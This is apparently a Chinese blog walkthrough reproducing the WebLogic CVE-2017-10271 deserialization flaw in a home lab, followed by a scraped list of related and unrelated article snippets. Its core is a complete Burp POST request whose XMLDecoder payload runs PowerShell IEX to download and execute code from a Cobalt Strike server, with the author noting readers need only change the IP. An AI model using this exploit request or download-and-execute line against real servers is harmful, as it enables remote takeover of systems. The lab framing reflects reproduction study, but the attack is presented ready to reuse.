今天小R又学会了一个工具的使用,而且这个工具很强大很强大。 待会介绍。

一、需要的试验环境:

一台宿主机,虚拟机(kali+window2008或其他版本的windows)  
1.宿主机需要的工具:BT(burpsuite)

2.虚拟机kali:CobaltStrike 工具(我用的是3.8版本),由于这个工具容易被百度云和谐我就步发百度云链接了。可以找我要:QQ1356187559

3.windows server2008  :搭建一个weblogic环境(这里就不介绍搭建了,网上有)

二、实验说明

此实验不仅仅局限于内网,外网也可以,但是外网必须得要有一个服务器。否则是不可以实现的。由于没有购买服务器,所以用内网测。把宿主机当做攻击机,kali作为攻击者的服务器, window server2008则为靶机。
在这里:

攻击机IP:192.168.2.5

服务器kali IP:192.168.2.7

靶机windwos server 2008 IP :192.168.2.11

三、操作步骤。

1. 用攻击机IP访问靶机的weblogic看看weblogic是否能够正常运行。

2. 能够正常运行之后,就开始用kali里面的工具了。解压后进入然后在终端里打开

3.运行打开teamserver发现提示以下信息,得输入 本机的host(不是127.0.0.1,是192.168.2.7),密码随意设(要记住)。  PS: 这里得讲一下,小R在第一次运行这个teamserver这个程序的时候,出现权限不够这一句话,若有

有雷同的情况,可以用这条   chomd a+x ./teamserver   命令来修改权限,sudo是不可以的。

4.运行后,这个终端不要关闭,打开另外一个终端,运行  ./cobaltstrike 除了填入密码以外,其它的可以不用变,端口随便。这里选择默认

5. 点击如图所示的按钮,URL Path 随便你写,端口也随便。然后点击Launch。  复制这段代码。

6. 打开宿主机的Burpsuite。抓取该 网址的包 http://192.168.2.11:7001/wls-wsat/CoordinatorPortType后,利用Burpsuite来修改包发出去。 这里注意得是POST请求,默认的是get,得改过来,除此之外,还得添加Content-Type: text/xml  这句话。

POC发给你们。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.2.11:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: SL_G_WPT_TO=zh; SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1
Connection: close
Content-Length: 1130

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="4">
<void index="0">
<string>powershell.exe</string>
</void>
<void index="1">
<string>IEX</string>
</void>
<void index="2">
<string>((new-object</string>
</void>
<void index="3">
<string>net.webclient).downloadstring('http://192.168.2.7:5555/R'))</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

好了好了,现在来分析一下这段代码。有没有发现前面利用     powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.7:5555/R.Hacker'))"

在这里我是分开写的,因为weblogic不能识别空格,所以就利用这个分段的模式来解决。  至于 -nop  -w  hidden -c 为啥没有我就不解释了,反正没用。

各位做的时候主要也就是改下ip就行了。

7.  发出去以后,在windows 2008 server 中打开任务管理器。你就会在发现一个powershell的漏洞

8.注入代码成功,再回头看看 kali里面的工具吧。打开监听功能。根据如图情况填写。

9.然后看如图,成功上线。  上线了以后能干什么吗???   你跟我讲能干什么???   他什么都能干,这里就不介绍,网上有教程。 小R有点累。 不懂就加QQ问我吧

关于weblogic 10.3.6.0 的漏洞复现(2)的更多相关文章

  1. 关于weblogic 10.3.6.0 的漏洞复现(1)

    最近小R 搭建了个weblogic,  因为之前在公司找系统漏洞的时候,发现了这个漏洞,所以为了特地专门搭建了个10.3.6.0版本. 漏洞编号: CVE-2017-10271 漏洞的描述:就是web ...

  2. Weblogic CVE-2018-3191远程代码命令执行漏洞复现

      0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191).该漏洞允许未经 ...

  3. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  4. Weblogic 10.3.6.0 集群搭建

    Weblogic 集群搭建 Oracle的Weblogic分开发者版本和生产版本,有32位和64位.一般生产版本的weblogic是64位的,安装文件是一个大小为1G多的jar包.去oracle官网上 ...

  5. Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现

    Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现 一.漏洞概述  WebLogic的 WLS Security组件对外提供webservic ...

  6. Weblogic wls9_async_response 反序列化远程命令执行漏洞(CVE-2019-2725)复现

    一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...

  7. Linux下命令行安装WebLogic 10.3.6

    1.创建用户useradd weblogic;创建用户成功linux系统会自动创建一个和用户名相同的分组,并将该用户分到改组中.并会在/home路径下创建一个和用户名相同的路径,比如我们创建的webl ...

  8. Weblogic-SSRF漏洞复现

    Weblogic-SSRF漏洞复现 一.SSRF概念 服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞.一般情况下,SSR ...

  9. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

随机推荐

  1. Spring Cloud(十):服务网关zuul(转)

    前面的文章我们介绍了,Eureka用于服务的注册于发现,Feign支持服务的调用以及均衡负载,Hystrix处理服务的熔断防止故障扩散,Spring Cloud Config服务集群配置中心,似乎一个 ...

  2. 轻松搞定RabbitMQ(六)——主题

    转自 http://blog.csdn.net/xiaoxian8023/article/details/48806871 翻译地址:http://www.rabbitmq.com/tutorials ...

  3. 惊艳的cygwin——Windows下的Linux命令行环境的配置和使用

    http://www.tuicool.com/articles/2MramqI 时间 2014-07-29 09:28:36  点滴之间 聚沙成金 原文  http://www.path8.net/t ...

  4. bootstrap-table自己配置

    function initTable(){ var methodNameSearch=$("#methodNameSearch").val(); var requestUrl =  ...

  5. #include &lt;sys/socket.h&gt;找不到头文件

    ubuntu下socket编程涉及到头文件sys/socket.h 和sys/types.h.我是用的codeblocks编辑器,当我想查看socket,h头文件时编辑器提示找不到头文件. 我就想可能 ...

  6. 工作室成员 GitHub 地址集中贴(按发布时间先后排序)

    金质行 https://github.com/jinxiaohang/ 金林超 https://github.com/jinlinchao/ 王贤国 https://github.com/ErhuoH ...

  7. 获取app-package和app-activity的值

    方法一 原文链接:http://mp.weixin.qq.com/s/KTkfmibSoaGOmDazJmZ8Sw 利用appium图形界面和已有的apk文件获取package和activity. 点 ...

  8. [zjoi2003]密码机

    一台密码机按照以下的方式产生密码:首先往机器中输入一系列数,然后取出其中一部分数,将它们异或以后得到一个新数作为密码.现在请你模拟这样一台密码机的运行情况,用户通过输入控制命令来产生密码.密码机中存放 ...

  9. vue的缓存机制

    缓存,不管是PC 端还是移动端,不可避免的问题.vue中有一个keepAlive,这个api 基本 能实现我们开发的一些需要. 一.简单介绍下keep-alive: 1.把切换出去的组件保留在内存中, ...

  10. 基于BASYS2的VHDL程序——数字钟

    在编电子表时发现FPGA求余,取模只能针对2的次方.毕竟是数字的嘛! 时钟用到了动态刷新数码管.以一个大于50Hz的速度刷新每一个数码管. 因为数码管只有四个,只写了分针和秒针. 代码如下: libr ...